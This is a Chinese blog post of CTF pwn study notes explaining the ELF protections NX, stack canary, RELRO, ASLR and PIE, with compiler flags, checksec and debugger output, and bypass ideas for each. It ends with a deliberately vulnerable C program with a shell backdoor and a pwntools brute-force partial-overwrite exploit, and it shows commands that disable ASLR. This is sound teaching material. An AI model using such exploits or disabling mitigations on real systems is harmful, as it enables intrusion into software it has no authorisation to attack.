【PWN学习】ELF保护机制

最新推荐文章于 2023-10-15 15:31:18 发布
最新推荐文章于 2023-10-15 15:31:18 发布
阅读量2.9k 收藏 19
点赞数 2
分类专栏： pwn学习 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Morphy_Amo/article/details/122171015
版权

文章目录

NX

防御机制

NX在windows中称为DEP。开启NX保护的程序中不能直接使用shellcode执行任意任意代码。

栈溢出的核心在于修改了EIP的值，是程序跳转到shellcode上，从而远程执行命令。在利用的时候需要先写入一段获取shell的代码，然后在执行这一段代码，这就要求存储shellcode的内存区域需要同时拥有写入和执行的权限。而NX的保护机制就是将写入权限和执行权限割裂，可以写入的区域将作为数据段，可以写入，可以读，但是不能执行；而可以执行的代码段，可以读，可以执行，但是不能写入。这样一来就没办法通过写入shellcode获取shell了。

绕过方法

绕过方式就是利用ROP的方法，在代码段中寻在合适gadget，构造gadget链，最终实现获取shell。

编译参数

GCC默认开启NX保护，关闭方法是在编译时加入-z execstack参数。

execstack // 禁用NX保护
noexecstack // 开启NX保护

Canary

防御机制

Canary是针对栈溢出的一种防护机制。开启Canary的程序不能使用单纯的栈溢出。

由于栈溢出攻击的主要目标是通过溢出覆盖函数栈高位的返回地址，因此其思路是在返回地址前写入一个字长的随机数据，在函数返回前校验该值是否被改变，如果被改变，则认为发生了栈溢出。

一个开启Canary后的典型汇编代码如下

main ();
    0x00000c66      55             push rbp
    0x00000c67      4889e5         mov rbp, rsp
    0x00000c6a      4883ec40       sub rsp, 0x40
    0x00000c6e      64488b042528.  mov rax, qword fs:[0x28]
    0x00000c77      488945f8       mov qword [var_8h], rax		; 填充随机数
    ...
    0x00000dfe      488b75f8       mov rsi, qword [var_8h]		; 查看随机数是否发生变化
    0x00000e02      644833342528.  xor rsi, qword fs:[0x28]
    0x00000e0b      7405           je 0xe12
    0x00000e0d      e88efbffff     call sym.imp.__stack_chk_fail
    0x00000e12      c9             leave
    0x00000e13      c3             ret

函数开头第四行第五行的两行代码，函数从fs:28h获取了一个数值，并将这个数值存入了栈中var_8h。

函数结束时，从栈中取出var_8并与fs:28h中值作比较，若发生了栈溢出，则var_8的值会改变，因此调用sym.imp.__stack_chk_fail。

绕过方法

从防御机制上分析，存在两个思路绕过Canary防护，

  • 获取填充的随机数：通过爆破、泄露等方法获取随机数，制造栈溢出的时候在原有位置写入随机数，从而实现Canary的绕过
  • 劫持sym.imp.__stack_chk_fail函数：若果可以劫持sym.imp.__stack_chk_fail函数，使得程序调用它时调用别的函数，就可以随意覆写Canary的值，而不会触发错误，实现Canary的绕过。

具体绕过及例题演示参考 Canary原理及绕过

编译参数

GCC默认开启Canary保护，具体参数如下

-fstack-protector 启用保护，不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护，为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

RELRO

防御机制

RELRO（read only relocation）是一种用于加强对 binary 数据段的保护的技术，大概实现由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读，设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号，从而减少对GOT（Global Offset Table）攻击。开启后，劫持GOT表的攻击方式不能使用。

RELRO 有no relro， partial relro 和 full relro三种情况。

  • No RELRO

    完全关闭RELRO。查看ELF的安全策略，可以发现RELRO项是No RELRO

root@kali:~/ctf/Other/pwn/CanaryTest# checksec test3
[*] '/root/ctf/Other/pwn/CanaryTest/test3'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

此时查看GOT表的静态信息

[0x08049090]> iS
[Sections]
Nm Paddr       Size Vaddr      Memsz Perms Name
...
21 0x000022d8    16 0x0804b2d8    16 -rw- .got
22 0x000022e8    36 0x0804b2e8    36 -rw- .got.plt
...

利用gdb动态调试，可以看到.got.plt落在了第四个段中，该段是可读可写的

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r--p     1000 0      /root/ctf/Other/pwn/CanaryTest/test3
 0x8049000  0x804a000 r-xp     1000 1000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804a000  0x804b000 r--p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804b000  0x804c000 rw-p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
0xf7dcd000 0xf7dea000 r--p    1d000 0      /usr/lib/i386-linux-gnu/libc-2.31.so
  • Partial RELRO
    • gcc 默认编译时Partial RELRO
root@kali:~/ctf/Other/pwn/CanaryTest# checksec test3
[*] '/root/ctf/Other/pwn/CanaryTest/test3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

​ 查看段信息

[0x08049090]> iS
[Sections]
Nm Paddr       Size Vaddr      Memsz Perms Name
...
20 0x00002f08   232 0x0804bf08   232 -rw- .dynamic
21 0x00002ff0    16 0x0804bff0    16 -rw- .got
22 0x00003000    36 0x0804c000    36 -rw- .got.plt
23 0x00003024     8 0x0804c024     8 -rw- .data
24 0x0000302c     0 0x0804c02c     4 -rw- .bss
...

.got和.got.plt都具有读写权限

查看内存信息

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r--p     1000 0      /root/ctf/Other/pwn/CanaryTest/test3
 0x8049000  0x804a000 r-xp     1000 1000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804a000  0x804b000 r--p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804b000  0x804c000 r--p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804c000  0x804d000 rw-p     1000 3000   /root/ctf/Other/pwn/CanaryTest/test3
...

发现.got.plt落入了第五个段中，该段具有读写权限

  • Full RELRO

    使用命令编译test3

    $ gcc test3.c -m32 -fstack-protector -no-pie -z noexecstack -z relro -z now -o test3

    查看安全策略

    root@kali:~/ctf/Other/pwn/CanaryTest# checksec test3
[*] '/root/ctf/Other/pwn/CanaryTest/test3'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

    查看段信息，发现只有一个.got，没有.got.plt，同时发现got标注的还是读写权限

    ...
18 0x00002ecc     4 0x0804becc     4 -rw- .init_array
19 0x00002ed0     4 0x0804bed0     4 -rw- .fini_array
20 0x00002ed4   248 0x0804bed4   248 -rw- .dynamic
21 0x00002fcc    52 0x0804bfcc    52 -rw- .got
22 0x00003000     8 0x0804c000     8 -rw- .data
23 0x00003008     0 0x0804c008     4 -rw- .bss
...

    但是利用gdb调试

    pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r--p     1000 0      /root/ctf/Other/pwn/CanaryTest/test3
 0x8049000  0x804a000 r-xp     1000 1000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804a000  0x804b000 r--p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804b000  0x804c000 r--p     1000 2000   /root/ctf/Other/pwn/CanaryTest/test3
 0x804c000  0x804d000 rw-p     1000 3000   /root/ctf/Other/pwn/CanaryTest/test3
...

    发现got表的地址段0x0804bfcc落在了第四个段中，第四个段的权限只有读，没有写。

ASLR

防御机制

ASLR (Address space layout randomization，地址空间布局随机化)是 Linux操作系统的功能选项，作用于程序（ELF）装入内存运行时。是一种针对缓冲区溢出的安全保护技术，通过对加载地址的随机化，防止攻击者直接定位攻击代码位置，到达阻止溢出攻击的一种技术。

分为三个级别

  • 0 ：不开启任何随机化
  • 1 ：开启stack和libraries随机化。开启PIE的情况下，executable base也会随机化。
  • 2 ：开启heap随机化

查看ALSR级别

$ cat /proc/sys/kernel/randomize_va_space

绕过方法

开启ASLR之后，使用ldd命令多次运行同一个程序

root@kali:~/ctf/Other/pwn/CanaryTest# ldd test3
        linux-gate.so.1 (0xf7f09000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d05000)
        /lib/ld-linux.so.2 (0xf7f0a000)
root@kali:~/ctf/Other/pwn/CanaryTest# ldd test3
        linux-gate.so.1 (0xf7f1a000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d16000)
        /lib/ld-linux.so.2 (0xf7f1b000)
root@kali:~/ctf/Other/pwn/CanaryTest# ldd test3
        linux-gate.so.1 (0xf7f9b000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d97000)
        /lib/ld-linux.so.2 (0xf7f9c000)

可以发现libc每次的加载地址都是不一样的，因此无法直接获取libc基址，需要利用泄露libc基址的方法获取基址。

echo 0 > /proc/sys/kernel/randomize_va_space    //设置关闭 ALSR 机制，需要 root 用户进行操作

上述对 /proc/sys/kernel/randomize_va_space 的操作为针对系统的全局设置，需要 root 权限且存在弊端，用户可通过以下命令将当前终端 /bin/bash 的 ALSR 机制关闭，则通过该 shell 运行的程序均不会启动 ALSR 机制。该终端关闭后上述设置即失效。

setarch `uname -m` -R /bin/bash

PIE

防御机制

PIE 是 gcc 编译器的功能选项，作用于程序（ELF）编译过程中。是一个针对代码段（ .text ）、数据段（ .data ）、未初始化全局变量段（ .bss ）等固定地址的一个防护技术。ASLR 不负责代码段以及数据段的随机化工作，这项工作由 PIE 负责。但是只有在开启 ASLR 之后，PIE 才会生效。如果程序开启了PIE保护的话，在每次加载程序时都变换加载地址，从而不能通过 ROPgadget 等一些工具来帮助解题。

绕过方法

虽然程序每次运行的基址会变,但程序中的各段的相对偏移是不会变的,只要泄露出来一个地址,比如函数栈帧中的返回地址,通过静态分析的获取偏移地址,就能算出基址,从而实现绕过。

下图左边是开启PIE的，右图是未开启PIE。
在这里插入图片描述

可以发现左边的程序地址只有低字节的几位，这就是当前指令到执行基址的偏移量。

方法一 Partial Write

应用程序是按页加载到内存中的，一个内存页大小为0x1000，开启PIE后单个内存页并不会受到影响，这就意味着不管基址怎么变，某一个内存页中的某一条指令的后三位十六进制数（低12位）的地址是始终不变的。因此我们可以通过覆盖地址的后几位来实现控制程序的流程。局部覆盖的局限是它仅仅影响一个内存页，覆盖地址范围仅从0x0 – 0xfff。

以下面的程序为例

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void getshell(void)
{
    system("/bin/sh");
}

void vul(void)
{
    char buf[100];
    puts("Hello, Hacker!");
    read(0, buf, 200);
    //puts(buf);

}

int main(int argc, char *argv[])
{
    vul();
    return 0;
}

用下面的方式编译

gcc test.c -m32 -fno-stack-protector -z norelro -o test
  1. 查看安全策略
[*] '/root/ctf/Other/pwn/PIETest/test'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
  1. 查看函数和字符串

利用radare静态分析，发现存在可以利用的后门函数getshell，在未开启PIE的情况下，是通过静态分析直接获取getshell的地址，然后通过栈溢出获取shell的。但是在开启PIE的情况下，没办法获取getshell的地址。

[0x00001080]> afl
0x00001080    1 50           entry0
0x000010b2    1 4            fcn.000010b2
0x00001060    1 6            sym.imp.__libc_start_main
0x000010d0    4 57   -> 52   sym.deregister_tm_clones
0x000011b5    1 4            sym.__x86.get_pc_thunk.dx
0x00001110    4 71           sym.register_tm_clones
0x00001160    5 71           entry.fini0
0x000010c0    1 4            sym.__x86.get_pc_thunk.bx
0x000011b0    1 5            entry.init0
0x00001000    3 32           sym._init
0x000012b0    1 1            sym.__libc_csu_fini
0x000012b1    1 4            sym.__x86.get_pc_thunk.bp
0x000012b8    1 20           sym._fini
0x00001250    4 93           sym.__libc_csu_init
0x00001224    1 28           main
0x00001240    1 4            sym.__x86.get_pc_thunk.ax
0x000011e4    1 64           sym.vul
0x00001040    1 6            sym.imp.puts
0x00001030    1 6            sym.imp.read
0x000011b9    1 43           sym.getshell
0x00001050    1 6            sym.imp.system
  1. 找溢出点

main函数中read函数存在溢出点

...
|           0x00001268      68c8000000     push 0xc8
|           0x0000126d      8d4594         lea eax, dword [var_6ch]
|           0x00001270      50             push eax
|           0x00001271      6a00           push 0
|           0x00001273      e8c8fdffff     call sym.imp.read
...
  1. payload

在第二步的时候，我们知道getshell的后三位是1b9，所以需要对\x[0-f]1\xb9进行爆破，但是这题不存在循环，我们也无法控制返回地址，所以这里采用类似密码喷洒的方式，随便挑一个数，比如\x01\xb9，然后多次运行程序，直到成功获取shell

payload = b'a' * (0x6C + 0x4)
payload += b'\xb9' + b'\x01'
  1. write up
from pwn import *
count = 0
while count < 1000:
    print(count)
    count += 1
    conn = process('./openPIE')
    
    payload = b'a' * (0x6C + 0x4)
    payload += b'\xb9' + b'\x11'
    try:
        print(conn.recvuntil(b'Hacker!\n'))
        conn.send(payload)
        conn.recv(timeout=1)
    except Exception as e:
        print('\t failed')
        conn.close() 
    else: 
        sleep(0.1)
        print('success')
        conn.interactive()
        break
    sleep(0.1)

Reference

  1. https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/
  2. https://www.cnblogs.com/Spider-spiders/p/8798628.html
  3. https://blog.csdn.net/ylcangel/article/details/102625948
  4. https://blog.csdn.net/weixin_43921239/article/details/103813046
  5. https://www.cnblogs.com/yhjoker/p/9148092.html
  6. https://www.jianshu.com/p/728f2ef139ae
  7. https://www.cnblogs.com/ichunqiu/p/11350476.html
Morphy_Amo
关注
  • 2
    点赞
  • 踩
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
基础知识——程序保护
qq_17512883的博客
05-13 1085
关于程序的保护机制，虽然网上容易找到大量的资料，但是相对比较全面而又易懂的介绍却不多，本人对网上的资料进行了收集整理，也会加入一些自己的理解与实践。对程序的保护机制种类很多，也会随着本人的了解，陆续加入。但是作者本人作为初学者，能力有限，知识体系也不是很完善，如有出错的地方，烦请批评指正。 我们先来看一个实例，使用pwntools的checksec对一个程序进行检测 RELRO(Relocation Read-Only): 设置符号重定位表格为只读或在程序启动时就解析并绑定所有动态符号，从而减
软件常用安全防护手段 checksec 总结
热门推荐
axiejundong的博客
06-11 1万+
checksec 总结一、RELROrelro 是一种用于加强对 binary 数据段的保护的技术。relro 分为 partial relro 和 full relro Partial RELRO现在gcc 默认编译就是 partial relro（很久以前可能需要加上选项 gcc -Wl,-z,relro） some sections(.init_array .fini_array .jcr .
RELRO (ReLocation Read-Only)保护纯新手入门（一）
qq_66690477的博客
05-17 4317
RELRO，
PWN入门（7）NX enabled与返回LibC库
Ba1_Ma0的博客
09-23 1317
简介“pwn"这个词的源起以及它被广泛地普遍使用的原因，源自于魔兽争霸某段讯息上设计师打字时拼错而造成的，原先的字词应该是"own"这个字，因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的，PWN 也是一个黑客语法的俚语词，是指攻破设备或者系统。发音类似"砰”，对黑客而言，这就是成功实施黑客攻击的声音，而在ctf比赛里，pwn是对二进制漏洞的利用下载这个github库，进入06文件夹，32位程序文件夹。
gcc安全编译选项详解（NX(DEP)、RELRO、PIE(ASLR)、CANARY、FORTIFY）
键盘的起始页
09-02 8032
gcc安全编译选项详解（NX(DEP)、RELRO、PIE(ASLR)、CANARY、FORTIFY）
Pwn学习路线及学习笔记以及gem安装
10-15
Pwn学习路线及学习笔记 Pwn是计算机安全领域中的一个重要方向，旨在研究和学习 Binary Exploitation，CTF 等安全知识。本文将从Pwn学习路线及学习笔记入手，总结作者在学习Pwn过程中的心得体会和经验。 一、前期...
pwn学习历程.pdf
09-30
pwn学习修炼之旅，内部包含各个模块各个知识点，有助于爱好者有方向的学习前进，加油，很好的资料哦，很有意义。
pwn学习资料整理——ROP技术（pwn_rop1）
08-30
pwn学习资料整理——ROP技术（pwn_rop1）
pwn学习总结（八）—— 堆（持续更新）
01-07
pwn学习总结（八）—— 堆（持续更新）前言chunk使用中（分配后）空闲中（释放后）堆块大小空间复用binsfastbin利用思路unsorted binsmall bin 前言 学习自《glibc内存管理ptmalloc源代码分析》庄明强 著 部分资料...
pwn学习入门详解PPT
04-17
包括Windows内核学习，格式化字符串，栈溢出等方面
二进制漏洞挖掘之栈溢出-开启RELRO
ylcangel的专栏
10-18 9858
二进制漏洞-栈溢出 github地址：https://github.com/ylcangel/exploits/tree/master/stack_overflow 你可以用于学习，但不能用于商用（如出书、以盈利为目的的课程、文章等），转载需标明出处。 测试平台 系统：CentOS release 6.10 (Final)、32位 内核版本：Linux 2.6.32-754.10.1.e...
pwn学习day1——ELF文件结构
qq_44657899的博客
06-26 725
ELF 文件的结构可以根据不同的操作系统和体系结构而有所差异。
PWN保护机制以及编译方法
逆向萌新的博客
11-07 2508
PWN保护机制以及编译方法
PWN基础14：ELF 文件格式 概述
prettyX的博客
07-16 1024
1、ELF文件格式 ELF：Executable and Linkable Format 一种Linux下常用的可执行文件、对象、共享库的标准文件格式 还有许多其他可执行文件格式：PE、Mach-O、COFF、COM... 内核中处理ELF相关代码参考：fs/binfmt_elf.c ELF中的数据按照Segment、Section两个概念进行划分 2、Segment 用于告诉内核，在执行ELF文件时应该如何映射内存 每个Segment主要包含：加载地址、文件中的范围、内存权限、对齐方式等信息
PWN入门（9）NX enabled，PIE enabled与返回LibC库
Ba1_Ma0的博客
10-02 1562
pwn"这个词的源起以及它被广泛地普遍使用的原因，源自于魔兽争霸某段讯息上设计师打字时拼错而造成的，原先的字词应该是"own"这个字，因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的，PWN 也是一个黑客语法的俚语词，是指攻破设备或者系统。发音类似"砰”，对黑客而言，这就是成功实施黑客攻击的声音，而在ctf比赛里，pwn是对二进制漏洞的利用下载这个github库，进入08文件夹还是和上一篇文件一样，设置文件权限，将flag设置位只能root可读设置程序位suid位关动态链接库的防护。
Linux缓冲区保护机制
山高路远
04-10 3569
前言 为了更好地对缓冲区进行利用，十分有必要了解一下checksec所检查出的漏洞缓解措施都意味着什么 如图上所示，RELRO、Stack、NX、PIE四种保护机制，下方介绍时，括号里的是在Windows系统中的名称 以下主要来源于《从0到1CTFer成长之路》 一、NX(DEP) NX即是No-execute，不可执行。原理是通过现代操作系统的内存保护单元机制（MPU）对程序内存按页的粒度进行权限设置，其基本规则为可写权限与可执行权限互斥。因此开启了NX的程序代表着堆栈上写入的代码数据将不可被执行，也就
pwn-ELF文件
最新发布
m0_74355719的博客
10-15 55
exploit用于攻击的脚本与方案payload攻击载荷，是的目标进程被劫持控制流的数据shellcode调用攻击目标的shell的代码pwn比赛流程：IP:portnc IP:port构造攻击脚本运行脚本就会发送payload给服务器从C源代码到可执行文件的生成过程编译由C语言代码生成汇编代码汇编由汇编代码生成机器码链接将多个机器码的目标文件链接成一个可执行文件ELF linux下可执行文件什么是可执行文件广义：文件中的数据是可执行代码的文件。
攻防世界新——level3
weixin_62675330的博客
02-10 1417
攻防世界 – pwn新手区 level3 由题意可得可能跟libc有关。 ps：libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库，包含了C语言最基本的库函数。 引申： glibc 和 libc 都是 Linux 下的 C 函数库。 libc 是 Linux 下的 ANSI C 函数库；glibc 是 Linux 下的 GUN C 函数库。 1.checksec查看保护 文件有两个，一个是elf文件，一个是so文件。 ps：so文件（shared object），so文件是
学习pwn需要学习哪些数学知识
05-18
学习 pwn 通常需要掌握以下数学知识： 1. 二进制和十六进制：pwn 题目通常会给出二进制或十六进制的数据，因此需要熟悉这两种进制的转换和计算。 2. 离散数学：离散数学是计算机科学中的一门重要课程，它涉及到许多 pwn 中用到的算法和数据结构，例如哈希表、图论、组合数学等。 3. 模运算：在 pwn 中，模运算经常被用来处理加密算法或者防止整数溢出等问题。 4. 基础数论：pwn 题目中经常涉及到素数、欧拉函数、费马小定理等基础数论概念，因此需要对这些内容有一定的了解。 5. 线性代数：在 pwn 中，矩阵运算和向量运算经常被用来解决密码学和加密算法相关的问题，因此需要对线性代数有一定的了解。 当然，不同的 pwn 题目可能需要的数学知识也会有所不同，但以上几个方面是比较基础和常见的。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值